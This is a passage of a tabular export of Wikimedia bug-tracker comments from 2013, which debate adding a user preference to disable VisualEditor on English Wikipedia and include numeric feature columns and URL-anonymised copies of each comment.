* The core of the problem - disabling VE when one surely will never use it - will not be solved by this hack.
* The failure by WMF (deploying a buggy beta software to everybody by default) is poorly concealed by this change but not solved either.

In fact you're even working against your own goals with this change: In the beta phase where feedback by editors is needed most you're now offering a preference to disable VE. When VE becomes stable and feedback is not that necessary anymore the preference will be gone, and the same discussion you're trying to mute with this change will start again.

Please reopen this bug, accept GERRIT_URL, so we have a real fix in place!"
243385,User preference to disable VisualEditor,Fixed in VisualEditor extension itself with https://gerrit.wikimedia.org/r/#/c/75541/,,,1374826648,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-2lqrwar67hw6qvy4f5kh,task_subcomment,,True,c1,3,True,,,3,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,43.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,29.0,14.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,5.857142857142857,1.0,Fixed in VisualEditor extension itself with URL
243383,User preference to disable VisualEditor,"Change 73565 abandoned by Hashar:
(bug 50929) Remove 'visualeditor-enable' from $wgHiddenPrefs

Reason:
A preference to temporarily disable VisualEditor has been introduced in the VisualEditor extension itself : https://gerrit.wikimedia.org/r/#/c/75541/

This change is thus no more needed.

https://gerrit.wikimedia.org/r/73565",,,1374826585,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2lqrwar67hw6qvy4f5kh,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,4.0,20.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,2.0,8.0,10.0,0.0,4.0,0.0,2.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,4.588235294117647,0.8627450980392157,"Change 73565 abandoned by Hashar:
(bug 50929) Remove 'visualeditor-enable' from $wgHiddenPrefs

Reason:
A preference to temporarily disable VisualEditor has been introduced in the VisualEditor extension itself : URL

This change is thus no more needed.

GERRIT_URL"
243380,User preference to disable VisualEditor,"Noting that the main issues causing people to disable VE are 
1) bloat (this may be more perceived than real; the VE init.js isnt very large, and the scaffolding is used for other features besides VE) and 
2) the UI for edit section links (which is bug 50688 and bug 50540).
I am optimistic that both will be resolved before VisualEditor goes out of beta.",,,1374795200,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-2lqrwar67hw6qvy4f5kh,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,1.0,4.0,0.0,6.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,4.0,13.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,1.0,8.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,1.0,13.0,1.0,0.0,1.0,1.0,0.0,0.0,1.0,0.0,3.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,5.0,9.0,9.0,4.0,4.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,1.0,13.0,6.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,3.0,1.0,0.0,1.0,3.6962025316455698,0.7468354430379747,"Noting that the main issues causing people to disable VE are 
1) bloat (this may be more perceived than real; the VE init.js isnt very large, and the scaffolding is used for other features besides VE) and 
2) the UI for edit section links (which is bug 50688 and bug 50540).
I am optimistic that both will be resolved before VisualEditor goes out of beta."
243376,User preference to disable VisualEditor,"https://gerrit.wikimedia.org/r/#/c/75542/ was merged today, but it is only a dirty workaround that doesn't fix the actual problem. 

What happens when VisualEditor goes out of beta? Will editors that have turned it off be required to switch to it? What if they'd prefer to keep using source editing?",,,1374790590,,PHID-USER-hxjysvdvogekpjub3nd3,False,,,PHID-TASK-2lqrwar67hw6qvy4f5kh,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,4.0,2.0,4.0,2.0,0.0,0.0,2.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,5.0,13.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,2.0,9.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,4.0,5.0,9.0,4.0,2.0,4.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,7.0,13.0,4.0,5.0,0.0,0.0,7.0,0.0,9.0,2.0,0.0,4.0,0.0,0.0,0.0,3.909090909090909,0.8545454545454545,"URL was merged today, but it is only a dirty workaround that doesn't fix the actual problem. 

What happens when VisualEditor goes out of beta? Will editors that have turned it off be required to switch to it? What if they'd prefer to keep using source editing?"
243372,User preference to disable VisualEditor,"C. Scott Ananian: you're out of line.

Bugzilla is regularly used for discussion (among devs and non-devs alike) and calling it abuse (comment 18) to use Bugzilla's comments field for discussion isn't appropriate at all.

Richard Morris' comment (comment 20) correctly points to on-wiki discussion that's directly relevant to this bug. It's long-standing practice to cross-reference on-wiki consensus-gathering discussion with Bugzilla bugs.",,,1374520048,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-2lqrwar67hw6qvy4f5kh,task_subcomment,,True,c1,3,False,,,3,,1.0,0.0,0.0,1.0,1.0,8.0,1.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,9.0,14.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,1.0,2.0,4.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,1.0,0.0,12.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,2.0,10.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,2.0,0.0,3.0,14.0,9.0,0.0,1.0,0.0,3.0,0.0,1.0,0.0,0.0,3.0,0.0,0.0,0.0,4.10752688172043,0.6666666666666666,"C. Scott Ananian: you're out of line.

Bugzilla is regularly used for discussion (among devs and non-devs alike) and calling it abuse (comment 18) to use Bugzilla's comments field for discussion isn't appropriate at all.

Richard Morris' comment (comment 20) correctly points to on-wiki discussion that's directly relevant to this bug. It's long-standing practice to cross-reference on-wiki consensus-gathering discussion with Bugzilla bugs."
243366,User preference to disable VisualEditor,"Please do not discuss on this bug. The topic is on wikitech-l which has much more audience and is way easier to handle such long discussions :-]

Thread starts at:
http://lists.wikimedia.org/pipermail/wikitech-l/2013-July/070560.html",,,1374519857,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-2lqrwar67hw6qvy4f5kh,task_subcomment,,True,c1,3,True,,,3,,3.0,0.0,0.0,0.0,3.0,11.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,11.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,5.0,11.0,0.0,3.0,8.0,0.0,0.0,0.0,0.0,8.0,3.0,0.0,0.0,0.0,11.0,5.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,5.0,0.0,0.0,3.7567567567567566,0.9459459459459459,"Please do not discuss on this bug. The topic is on wikitech-l which has much more audience and is way easier to handle such long discussions :-]

Thread starts at:
URL"
243360,User preference to disable VisualEditor,"@Richard Morris: Please, bugzilla is a tool for developers, not a discussion forum.   Please discuss this on the wikitech-l mailing list (url above, or subscribe at https://lists.wikimedia.org/mailman/listinfo/wikitech-l) or at the RFC you linked to, or on a Talk page.  Anywhere, really, except for bugzilla.

Others: please do not respond here to Richard Morris or others.  Refrain from the temptation, whether you agree with him or not.  Make your point on one of the discussion sites (again: mailing list, talk page, RFC, IRC) not in bugzilla.

Thanks.",,,1374516858,,PHID-USER-m2ezqyeb4uz67zq6bats,False,,,PHID-TASK-2lqrwar67hw6qvy4f5kh,task_subcomment,,True,c1,3,True,,,3,,0.0,0.0,0.0,0.0,3.0,0.0,0.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,10.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,1.5,0.0,0.0,1.0,2.0,0.0,0.0,0.5,1.0,0.0,1.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,0.5,11.0,1.5,3.0,4.5,0.0,0.0,0.0,0.0,4.5,2.0,1.0,0.0,3.0,10.0,5.0,0.0,0.0,0.0,3.0,0.0,0.0,1.5,1.0,0.0,0.0,0.0,0.5,3.614991233196961,0.7438632378725891,"SCREEN_NAME Morris: Please, bugzilla is a tool for developers, not a discussion forum.   Please discuss this on the wikitech-l mailing list (url above, or subscribe at URL or at the RFC you linked to, or on a Talk page.  Anywhere, really, except for bugzilla.

Others: please do not respond here to Richard Morris or others.  Refrain from the temptation, whether you agree with him or not.  Make your point on one of the discussion sites (again: mailing list, talk page, RFC, IRC) not in bugzilla.

Thanks."
243353,User preference to disable VisualEditor,"Have you guys not read http://en.wikipedia.org/wiki/Wikipedia:VisualEditor/RFC there is a clear consensus, 57 vrs 6, for ""VisualEditor should have a way to be turned off fully, easily, and without continuing to leech resources"". Many people don't want it the feedback page is constantly getting ""how do I switch this off?"" threads. Failure to implement this feature is causing more work for those on the wiki and a politically very bad decision.",,,1374516605,,PHID-USER-7hrs7wwclcldf7mm6a7o,False,,,PHID-TASK-2lqrwar67hw6qvy4f5kh,task_subcomment,,True,c1,3,False,,,3,,1.0,0.0,2.0,1.0,2.0,6.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,1.0,1.0,10.0,11.0,0.0,2.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,1.0,0.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,4.0,1.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,5.0,7.0,1.0,2.0,10.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,0.0,4.0,11.0,1.0,1.0,5.0,0.0,4.0,0.0,1.0,4.0,0.0,4.0,1.0,0.0,0.0,3.9036144578313254,0.7590361445783133,"Have you guys not read URL there is a clear consensus, 57 vrs 6, for ""VisualEditor should have a way to be turned off fully, easily, and without continuing to leech resources"". Many people don't want it the feedback page is constantly getting ""how do I switch this off?"" threads. Failure to implement this feature is causing more work for those on the wiki and a politically very bad decision."
243347,User preference to disable VisualEditor,"(In reply to comment #18)
> Tyler, please follow the entire link in comment 16.

I did. It's only 3-4 people talking on a talk page. Kind of pales in comparison to the numerous people who supported this in the original link.

> This discussion is occuring on wikitech-l as well:
> http://lists.wikimedia.org/pipermail/wikitech-l/2013-July/070560.html
> 
> It's probably better to continue the discussion on the mailing list, rather
> than to abuse bugzilla.
> 
> (Just trying to synchronize the conversation.)

Agreed. I've continued the discussion there.",,,1374512041,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-2lqrwar67hw6qvy4f5kh,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,4.0,1.0,0.0,1.0,0.0,3.0,0.0,4.0,10.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,1.0,3.0,0.0,1.0,4.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,6.0,0.0,21.0,0.0,0.0,7.0,0.0,0.0,0.0,1.0,1.0,0.0,4.0,0.0,4.0,10.0,9.0,0.0,0.0,0.0,4.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,3.3823529411764706,0.6323529411764706,"(In reply to comment #18)
QUOTE

I did. It's only 3-4 people talking on a talk page. Kind of pales in comparison to the numerous people who supported this in the original link.

QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Agreed. I've continued the discussion there."
243341,User preference to disable VisualEditor,"Tyler, please follow the entire link in comment 16.

This discussion is occuring on wikitech-l as well: http://lists.wikimedia.org/pipermail/wikitech-l/2013-July/070560.html

It's probably better to continue the discussion on the mailing list, rather than to abuse bugzilla.

(Just trying to synchronize the conversation.)",,,1374511815,,PHID-USER-m2ezqyeb4uz67zq6bats,False,,,PHID-TASK-2lqrwar67hw6qvy4f5kh,task_subcomment,,True,c1,3,True,,,3,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,13.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,7.0,2.0,2.0,0.0,2.0,13.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,4.074074074074074,0.7777777777777778,"Tyler, please follow the entire link in comment 16.

This discussion is occuring on wikitech-l as well: URL

It's probably better to continue the discussion on the mailing list, rather than to abuse bugzilla.

(Just trying to synchronize the conversation.)"
243338,User preference to disable VisualEditor,"(In reply to comment #16)
> Per
> https://en.wikipedia.org/w/index.php?title=User_talk:
> Eloquence&diff=564621335&oldid=564492863
> and other lengthy discussion, this is and remains a WONTFIX.

This is one user's talk page. What discussion are you referring to? Is the link at the top of the page no longer the consensus? Also I'd like to know exactly what reasoning there is for having this preference hidden.",,,1374511268,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-2lqrwar67hw6qvy4f5kh,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,2.0,0.0,6.0,11.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,6.0,3.0,0.0,3.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,19.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,6.0,6.0,16.0,0.0,0.0,11.0,0.0,0.0,0.0,2.0,5.0,0.0,3.0,0.0,3.0,11.0,3.0,3.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,3.0,2.0,0.0,0.0,3.5555555555555554,0.7619047619047619,"(In reply to comment #16)
QUOTE
QUOTE
QUOTE
QUOTE

This is one user's talk page. What discussion are you referring to? Is the link at the top of the page no longer the consensus? Also I'd like to know exactly what reasoning there is for having this preference hidden."
243334,User preference to disable VisualEditor,"Per https://en.wikipedia.org/w/index.php?title=User_talk:Eloquence&diff=564621335&oldid=564492863 and other lengthy discussion, this is and remains a WONTFIX.

VisualEditor is switched on or off at the wiki-level, not on the per-user level. The fact that there is a temporary artefact of the alpha roll-out still around in the code that allows us to expose this option to users for the next few weeks (until it too goes away once the alpha roll-out is no longer needed) does not mean we should dishonestly mis-lead users into thinking that we are supporting this as a preference, which is what implementing this request would do.",,,1374510712,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-2lqrwar67hw6qvy4f5kh,task_subcomment,,True,c1,3,True,,,3,,1.0,0.0,0.0,1.5,1.5,4.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.5,2.5,2.0,7.5,12.5,0.0,0.5,1.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,1.0,0.0,7.0,2.0,1.0,0.0,0.0,0.0,1.0,0.5,1.5,0.0,0.0,1.0,1.5,0.0,0.0,0.0,0.5,1.0,13.5,0.5,3.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,2.5,0.0,1.0,0.0,0.5,0.0,6.0,4.0,2.5,2.5,1.5,10.0,0.0,0.0,0.0,0.0,3.5,0.0,0.0,0.0,3.0,12.5,0.5,0.0,0.0,0.0,3.0,0.0,2.5,2.0,0.5,2.5,1.0,0.0,0.0,3.871143375680581,0.8179068360556563,"Per URL and other lengthy discussion, this is and remains a WONTFIX.

VisualEditor is switched on or off at the wiki-level, not on the per-user level. The fact that there is a temporary artefact of the alpha roll-out still around in the code that allows us to expose this option to users for the next few weeks (until it too goes away once the alpha roll-out is no longer needed) does not mean we should dishonestly mis-lead users into thinking that we are supporting this as a preference, which is what implementing this request would do."
243328,User preference to disable VisualEditor,That would reopen bug 48666 Make VisualEditor a hidden preference.,,,1374499371,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-2lqrwar67hw6qvy4f5kh,task_subcomment,,True,c1,3,True,,,3,,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,27.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,18.0,0.0,9.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,5.181818181818182,1.0,That would reopen bug 48666 Make VisualEditor a hidden preference.
243325,User preference to disable VisualEditor,*** Bug 51389 has been marked as a duplicate of this bug. ***,,,1373926494,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-2lqrwar67hw6qvy4f5kh,task_subcomment,,True,c1,3,True,,,2,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 51389 has been marked as a duplicate of this bug. ***
243322,User preference to disable VisualEditor,"Change 73565 had a related patch set uploaded by Odder:
(bug 50929) Remove 'visualeditor-enable' from $wgHiddenPrefs

https://gerrit.wikimedia.org/r/73565",,,1373712372,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2lqrwar67hw6qvy4f5kh,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,15.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,7.0,0.0,11.0,0.0,0.0,7.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.222222222222222,0.9629629629629629,"Change 73565 had a related patch set uploaded by Odder:
(bug 50929) Remove 'visualeditor-enable' from $wgHiddenPrefs

GERRIT_URL"
243318,User preference to disable VisualEditor,"(In reply to comment #7)
> This will not be a request only for English Wikipedia any longer, as soon as
> the VE is activated by default on Wikipedias in other languages. Keep that in
> mind!

just in case what Bartos wrote is not 100% clear:

The extension already implement a user-selectable enable/disable switch - nothing should be done there. 
LocalSettings.php for enwiki specifically removes the choice, by setting the line

""$wgHiddenPrefs[] = 'visualeditor-enable';""

this bug is basically a request to delete this line from enwiki's LocalSettings.php, and thus allowing users to opt-out of VE.

a derivative request would be such: once VE is enabled by default on other wikis, please do not to add such a line to their LocalSettings.php.
the second part is a ""forward looking"" request, i.e. it's a request not to do something in the future, without actually knowing if there's any intention to do it...

(as a side, it seems that the decision to remove user's switch was not a good one: the main result of this decision was that on enwiki, someone had to write a special gadget for disabling VE, instead of just using the built-in switch...)

peace.",,,1373576253,,PHID-USER-akv4ingxkspiiam6r2n4,False,,,PHID-TASK-2lqrwar67hw6qvy4f5kh,task_subcomment,,True,c1,3,False,,,1,,0.3333333333333333,1.0,0.0,0.6666666666666666,1.3333333333333333,3.6666666666666665,2.0,0.0,0.0,0.3333333333333333,3.0,0.6666666666666666,0.0,0.0,0.3333333333333333,0.0,0.0,5.0,11.666666666666666,1.3333333333333333,3.0,0.3333333333333333,0.0,0.0,1.6666666666666667,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,3.6666666666666665,0.3333333333333333,1.3333333333333333,1.6666666666666667,0.0,0.3333333333333333,0.0,0.0,1.6666666666666667,0.0,0.3333333333333333,0.3333333333333333,1.6666666666666667,0.3333333333333333,0.3333333333333333,0.0,0.0,0.3333333333333333,12.333333333333334,0.0,1.6666666666666667,0.0,1.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,1.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,6.333333333333333,3.0,4.0,1.6666666666666667,0.3333333333333333,8.333333333333334,0.0,0.0,0.0,0.3333333333333333,3.6666666666666665,0.3333333333333333,1.3333333333333333,0.0,1.6666666666666667,11.666666666666666,3.6666666666666665,0.0,2.0,0.0,1.6666666666666667,0.0,0.3333333333333333,3.3333333333333335,0.0,2.3333333333333335,0.0,0.0,1.0,3.7828654970760236,0.7430409356725146,"(In reply to comment #7)
QUOTE
QUOTE
QUOTE

just in case what Bartos wrote is not 100% clear:

The extension already implement a user-selectable enable/disable switch - nothing should be done there. 
LocalSettings.php for enwiki specifically removes the choice, by setting the line

""$wgHiddenPrefs[] = 'visualeditor-enable';""

this bug is basically a request to delete this line from enwiki's LocalSettings.php, and thus allowing users to opt-out of VE.

a derivative request would be such: once VE is enabled by default on other wikis, please do not to add such a line to their LocalSettings.php.
the second part is a ""forward looking"" request, i.e. it's a request not to do something in the future, without actually knowing if there's any intention to do it...

(as a side, it seems that the decision to remove user's switch was not a good one: the main result of this decision was that on enwiki, someone had to write a special gadget for disabling VE, instead of just using the built-in switch...)

peace."
243314,User preference to disable VisualEditor,"Great, thank you.

I'm marking this bug with the ""easy"" keyword accordingly.",,,1373566995,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-2lqrwar67hw6qvy4f5kh,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,5.0,0.0,0.0,11.0,0.0,11.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.473684210526316,0.8947368421052632,"Great, thank you.

I'm marking this bug with the ""easy"" keyword accordingly."
243309,User preference to disable VisualEditor,"(In reply to comment #9)
> Can you explain what the code in this area looks like? There _was_ a user
> preference previously, it's just gone missing. Is this simply a matter of
> setting a configuration variable?

Yes, it's just a matter of removing ""$wgHiddenPrefs[] = 'visualeditor-enable';"" in CommonSettings.php.",,,1373561265,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-2lqrwar67hw6qvy4f5kh,task_subcomment,,True,c1,3,True,,,1,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,10.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,15.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,2.0,8.0,0.0,2.0,10.0,2.0,0.0,10.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,5.0,3.275,0.85,"(In reply to comment #9)
QUOTE
QUOTE
QUOTE

Yes, it's just a matter of removing ""$wgHiddenPrefs[] = 'visualeditor-enable';"" in CommonSettings.php."
243304,User preference to disable VisualEditor,"(In reply to comment #6)
> This is actually a site request for the English Wikipedia right now, as this
> preference is enabled everywhere else right now. Changing Product/Component
> accordingly.

Can you explain what the code in this area looks like? There _was_ a user preference previously, it's just gone missing. Is this simply a matter of setting a configuration variable?",,,1373559939,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-2lqrwar67hw6qvy4f5kh,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,9.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,6.0,0.0,2.0,6.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,8.0,4.0,13.0,0.0,0.0,11.0,0.0,0.0,0.0,2.0,4.0,0.0,2.0,0.0,8.0,9.0,2.0,4.0,0.0,0.0,8.0,0.0,2.0,6.0,0.0,4.0,0.0,0.0,0.0,3.6037735849056602,0.8301886792452831,"(In reply to comment #6)
QUOTE
QUOTE
QUOTE

Can you explain what the code in this area looks like? There _was_ a user preference previously, it's just gone missing. Is this simply a matter of setting a configuration variable?"
243300,User preference to disable VisualEditor,"(In reply to comment #3)
> This should be in the obvious place, in the editing tab of user preferences,
> not a gadget.

